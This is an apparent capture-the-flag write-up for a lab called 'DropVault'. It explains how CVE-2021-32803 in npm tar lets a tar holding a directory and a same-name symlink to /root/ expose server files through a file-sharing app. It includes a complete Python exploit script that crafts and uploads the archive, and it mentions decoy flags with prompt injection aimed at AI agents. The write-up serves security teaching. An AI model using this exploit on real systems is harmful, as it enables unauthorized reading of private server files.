Lab 346 — DropVault — Path Traversal via Tar Symlink Cache Poisoning
Lab 346 — DropVault — Path Traversal via Tar Symlink Cache Poisoning
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: database_registered_file_serving, directory_entry_cache_priming, fs_statsync_symlink_following, symlink_directory_replacement, tar_symlink_cache_poisoning
Summary
Walkthrough of the CUSTOM Web Lab 346 — DropVault — Path Traversal via Tar Symlink Cache Poisoning. Task: DropVault file sharing platform with archive import feature using npm tar v6.1.1 (CVE-2021-32803). Solution: Craft a tar with a directory entry followed by a same-name symlink to /root/ — cache
Description
DropVault is a file sharing platform used by development teams at VaultStream Inc. to manage project assets. Users can upload individual files or import entire project archives (.tar, .tar.gz) that get extracted and organized into browsable folder structures. The platform supports file previews, download links, and shared workspaces.
Your target is a deployment of DropVault v2.4.1. The development team recently shipped an archive import feature that extracts uploaded tar archives server-side. Explore the application, understand how the archive import works, and find a way to read files from outside the intended extraction directory.
Your goal is to find and read the flag stored on the server.
English summary: A Node.js/Express file sharing platform where users can upload tar archives that are extracted server-side using npm tar v6.1.1. The extraction code is vulnerable to CVE-2021-32803 — symlink protection bypass via directory cache poisoning. After extraction, a recursive directory scanner using fs.statSync() (which follows symlinks) registers discovered files in a SQLite database, making them downloadable through the web interface. The flag is at /root/flag.txt and the container runs as root.
Credentials: user@test.com / password123
Analysis
Reconnaissance
-
Technology stack identification:
- Express/Node.js backend (Express 4.18.2)
- Nginx/1.25.5 reverse proxy
- SQLite database (better-sqlite3 ^9.4.3)
- multer v1.4.5 for file uploads
- EJS templates
- Alpine Linux 3.19 container
-
Application structure: After login, the dashboard shows two workspaces:
mktg2024andq4release. Each workspace supports file browsing with subdirectory navigation (?path=), single file upload, and archive import. -
Archive import feature: The import page at
/workspace/:id/importreveals "tar v6.1.1" as the archive engine version. Thedeploy-config.jsonfile in theq4releaseworkspace confirms"tar": "6.1.1". -
Decoy flags: HTML pages contain hidden decoy flags like
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}with prompt injection text designed to trick AI agents. These must be ignored.
Vulnerability: CVE-2021-32803 — npm tar Symlink Directory Cache Poisoning
npm tar versions before 6.1.2 have a symlink protection bypass. The library maintains an internal path cache of directories it has created during extraction. The vulnerability exploits a race between cache registration and filesystem state:
The extraction code in server.js:
js read-only • copy allowedawait tar.x({ file: req.file.path, cwd: extractDir });
No noSymlinks option is set. The attack works by including two entries with the same name in a single tar archive:
- Directory entry
assets/— npm tar creates the directory and registers it in its internal path cache as a known-safe directory - Symlink entry
assets→/root/— npm tar replaces the directory on disk with a symlink, but the cache still considersassetsa safe directory path
When subsequent entries reference paths under assets/, the symlink protection checks the cache, sees assets as a known-safe directory, and allows the operation. The symlink is created pointing outside the extraction directory.
Post-Extraction: scanDir Follows Symlinks
After extraction, the server's scanDir() function recursively walks the extracted directory tree:
js read-only • copy allowedfunction scanDir(dir, prefix) { const entries = fs.readdirSync(dir); for (const name of entries) { const fullPath = path.join(dir, name); const relPath = prefix ? prefix + '/' + name : name; let stat; try { stat = fs.statSync(fullPath); // FOLLOWS SYMLINKS! } catch (e) { continue; } if (stat.isDirectory()) { db.prepare('INSERT OR REPLACE INTO files ...').run(...); scanDir(fullPath, relPath); // Recurses into symlinked directory } else { db.prepare('INSERT OR REPLACE INTO files ...').run(...); importedFiles.push({ name: relPath, size: stat.size }); } } }
The critical detail: fs.statSync() follows symlinks (unlike fs.lstatSync()). When it encounters the assets symlink pointing to /root/, it sees a directory and recurses into it. It discovers flag.txt inside /root/ and registers it in the SQLite database with disk_path pointing through the symlink to the actual /root/flag.txt.
File Serving: Database-Driven Path Resolution
The file download endpoint serves files based on their disk_path from the database — no additional path sanitization:
js read-only • copy allowedapp.get('/workspace/:id/file/*', requireAuth, requireWorkspaceAccess, (req, res) => { const file = db.prepare( 'SELECT * FROM files WHERE workspace_id = ? AND filepath = ? AND is_directory = 0' ).get(req.params.id, filePath); if (req.query.download === '1') { return res.download(file.disk_path, file.filename); } // ... or readFileSync for text preview });
Since the container runs as root (Alpine 3.19 Dockerfile has no USER directive), the Node.js process can read /root/flag.txt (chmod 600).
Solution
Step 1: Login and identify the target
Login with user@test.com / password123. The dashboard shows two workspaces. The archive import page reveals npm tar v6.1.1.
Step 2: Craft the malicious tar archive
Create a tar with exactly two entries — a directory entry to poison the cache, followed by a symlink with the same name:
python read-only • copy allowedimport tarfile, io buf = io.BytesIO() with tarfile.open(fileobj=buf, mode='w') as tar: # Entry 1: directory (gets cached as safe by npm tar) d = tarfile.TarInfo(name="assets") d.type = tarfile.DIRTYPE d.mode = 0o755 tar.addfile(d) # Entry 2: symlink with same name -> /root/ s = tarfile.TarInfo(name="assets") s.type = tarfile.SYMTYPE s.linkname = "/root/" tar.addfile(s) buf.seek(0) tar_data = buf.getvalue()
Critical: Do NOT add any file entries (e.g., assets/flag.txt with size 0). Adding a file entry would write through the symlink and OVERWRITE /root/flag.txt, destroying the flag.
Step 3: Upload the malicious tar
Upload via POST /workspace/mktg2024/import with the tar as the archive field. The server extracts the archive, scanDir() traverses the symlink into /root/, discovers flag.txt, and registers it in the database.
Step 4: Download the flag
Browse to the workspace, navigate to the assets/ directory. The file flag.txt appears in the listing. Download it via GET /workspace/mktg2024/file/assets/flag.txt?download=1.
Complete Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """DropVault — CVE-2021-32803 Tar Symlink Cache Poisoning""" import requests, tarfile, io, re from urllib.parse import urljoin, unquote BASE_URL = "https://9faec8f6-18ad-4ee6-87e3-cede9804af34.labs.hackadvisor.io/" EMAIL = "user@test.com" PASSWORD = "password123" session = requests.Session() # Step 1: Login session.post(urljoin(BASE_URL, "/login"), data={"email": EMAIL, "password": PASSWORD}, allow_redirects=True) # Step 2: Create malicious tar — directory 'assets/' + symlink 'assets' -> '/root/' buf = io.BytesIO() with tarfile.open(fileobj=buf, mode='w') as tar: d = tarfile.TarInfo(name="assets") d.type = tarfile.DIRTYPE d.mode = 0o755 tar.addfile(d) s = tarfile.TarInfo(name="assets") s.type = tarfile.SYMTYPE s.linkname = "/root/" tar.addfile(s) buf.seek(0) # Step 3: Upload to workspace resp = session.post(urljoin(BASE_URL, "/workspace/mktg2024/import"), files={"archive": ("project.tar", buf.getvalue(), "application/x-tar")}, allow_redirects=True) print(f"Upload: {resp.status_code}") # Step 4: Read flag resp = session.get(urljoin(BASE_URL, "/workspace/mktg2024/file/assets/flag.txt?download=1")) print(f"Flag: {resp.text.strip()}")
Key Takeaways / Lessons
- Mastering database_registered_file_serving, directory_entry_cache_priming, fs_statsync_symlink_following, symlink_directory_replacement, tar_symlink_cache_poisoning was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-13 • CUSTOM • Lab 346 — DropVault — Path Traversal via Tar Symlink Cache Poisoning • Difficulty: Medium